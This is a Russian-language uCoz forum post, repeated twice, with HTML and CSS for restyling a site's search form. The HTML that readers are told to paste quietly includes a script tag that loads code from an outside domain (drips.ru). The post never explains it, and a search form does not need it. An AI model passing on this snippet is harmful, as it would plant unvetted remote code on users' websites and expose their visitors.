Сообщение В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1 Шаг 1 установка кода: Для начало, нам следует удалить старый код формы поиска uCoz и за место него установить следующий html код: HTML-Code Code
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>
теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта. Вариант № 1 White (Белый): Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png Code
/* Форма поиска ------------------------------------------*/ .poick_os { float:right; } .poick_os input { vertical-align:middle; } .poick_pole { font:11px Verdana,Arial,Helvetica,sans-serif; color:#555; text-shadow: 1px 1px 1px #fff; height:16px; margin:0; padding:4px; background:#f6f6f6; border: 1px solid #d6d6d6; border-right: none; } .poick_pole:focus { background:#fff; } .poick_knopka { font:11px Verdana,Arial,Helvetica,sans-serif; color:#555; text-shadow: 1px 1px 1px #fff; height:26px; margin:0; padding:0 7px; background:#e9e9e9; border:1px solid #d6d6d6; } .poick_knopka:hover{ background:#d6d6d6; }
Вариант № 2 Black (Чёрный): Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png Code
/* Форма поиска ------------------------------------------*/ .poick_os { float:right; } .poick_os input { vertical-align:middle; } .poick_pole { font:11px Verdana,Arial,Helvetica,sans-serif; color:#a7a7a7; text-shadow: 1px 1px 1px #252525; height:16px; margin:0; padding:4px; background:#484848; border: 1px solid #252525; border-right: none; } .poick_pole:focus { background:#545454; } .poick_knopka { font:11px Verdana,Arial,Helvetica,sans-serif; color:#a7a7a7; text-shadow: 1px 1px 1px #252525; height:26px; margin:0; padding:0 7px; background:#545454; border:1px solid #252525; } .poick_knopka:hover { background:#252525; }
на этом всё, удачных вам поисков на вашем сайте... Автор - 40Glocc Дата добавления - 21.02.2012 в 20:51
40Glocc Дата: Вторник, 21.02.2012, 20:51 | Сообщение # 1
Сообщений: 17
Группа:
Пользователи
Offline
В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1 Шаг 1 установка кода: Для начало, нам следует удалить старый код формы поиска uCoz и за место него установить следующий html код: HTML-Code Code
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>
теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта. Вариант № 1 White (Белый): Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png Code
/* Форма поиска ------------------------------------------*/ .poick_os { float:right; } .poick_os input { vertical-align:middle; } .poick_pole { font:11px Verdana,Arial,Helvetica,sans-serif; color:#555; text-shadow: 1px 1px 1px #fff; height:16px; margin:0; padding:4px; background:#f6f6f6; border: 1px solid #d6d6d6; border-right: none; } .poick_pole:focus { background:#fff; } .poick_knopka { font:11px Verdana,Arial,Helvetica,sans-serif; color:#555; text-shadow: 1px 1px 1px #fff; height:26px; margin:0; padding:0 7px; background:#e9e9e9; border:1px solid #d6d6d6; } .poick_knopka:hover{ background:#d6d6d6; }
Вариант № 2 Black (Чёрный): Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png Code
/* Форма поиска ------------------------------------------*/ .poick_os { float:right; } .poick_os input { vertical-align:middle; } .poick_pole { font:11px Verdana,Arial,Helvetica,sans-serif; color:#a7a7a7; text-shadow: 1px 1px 1px #252525; height:16px; margin:0; padding:4px; background:#484848; border: 1px solid #252525; border-right: none; } .poick_pole:focus { background:#545454; } .poick_knopka { font:11px Verdana,Arial,Helvetica,sans-serif; color:#a7a7a7; text-shadow: 1px 1px 1px #252525; height:26px; margin:0; padding:0 7px; background:#545454; border:1px solid #252525; } .poick_knopka:hover { background:#252525; }
на этом всё, удачных вам поисков на вашем сайте...